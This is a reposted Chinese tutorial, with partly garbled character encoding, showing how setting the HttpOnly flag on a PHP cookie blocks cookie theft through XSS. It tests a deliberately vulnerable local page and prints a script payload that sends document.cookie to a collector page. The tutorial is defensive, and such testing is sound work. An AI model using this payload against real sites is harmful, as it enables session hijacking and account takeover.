cookie设置httponly属性防护XSS***
***者利用XSS漏洞獲取cookie或者session劫持,如果這里面包含了大量敏感信息(身份信息,管理員信息)等,***這里用獲取的COOKIE登陸賬號(hào),并進(jìn)行非法操作。
COOKIE設(shè)置httponly屬性可以化解XSS漏洞***帶來的竊取cookie的危害。
PHP中COOKIE設(shè)置方法:
<?php?
?setcookie("xsstest", "xsstest", time()+3600, "/", "", false, false);
?>
最后一個(gè)字段false是為不設(shè)置httponly屬性,true為已設(shè)置httponly屬性。
測(cè)試內(nèi)容:
本次測(cè)試環(huán)境,搭建一個(gè)包含XSS漏洞的php環(huán)境。
地址:http://localhost/home.php
如圖所示:
存在xss漏洞,獲取cookie的代碼為:
<script>document.location = 'http://localhost/cookie_collect.php?cookie=' + document.cookie;</script>
獲取COOKIE的頁面為:http://localhost/cookie_collect.php
如圖所示:
測(cè)試01
未設(shè)置httponly屬性,cookie設(shè)置為:
<?php?
?setcookie("xsstest", "xsstest", time()+3600, "/", "", false, false);
?>
測(cè)試結(jié)果:
獲取到cookie的內(nèi)容,如圖所示:
訪問日志內(nèi)容為:
測(cè)試結(jié)果:利用跨站漏洞可以獲取cookie內(nèi)容。
測(cè)試02
設(shè)置httponly屬性,cookie設(shè)置為:
<?php?
?setcookie("xsstest", "xsstest", time()+3600, "/", "", false, true);
?>
測(cè)試結(jié)果:
未獲取到cookie的內(nèi)容,如圖所示:
訪問日志內(nèi)容為:
測(cè)試結(jié)果:利用跨站漏洞不能夠獲取cookie內(nèi)容。
轉(zhuǎn)載于:https://blog.51cto.com/zhpfbk/1888902
總結(jié)
以上是生活随笔為你收集整理的cookie设置httponly属性防护XSS***的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linux命令(27):shell 结合
- 下一篇: 《Android系统源代码情景分析》一书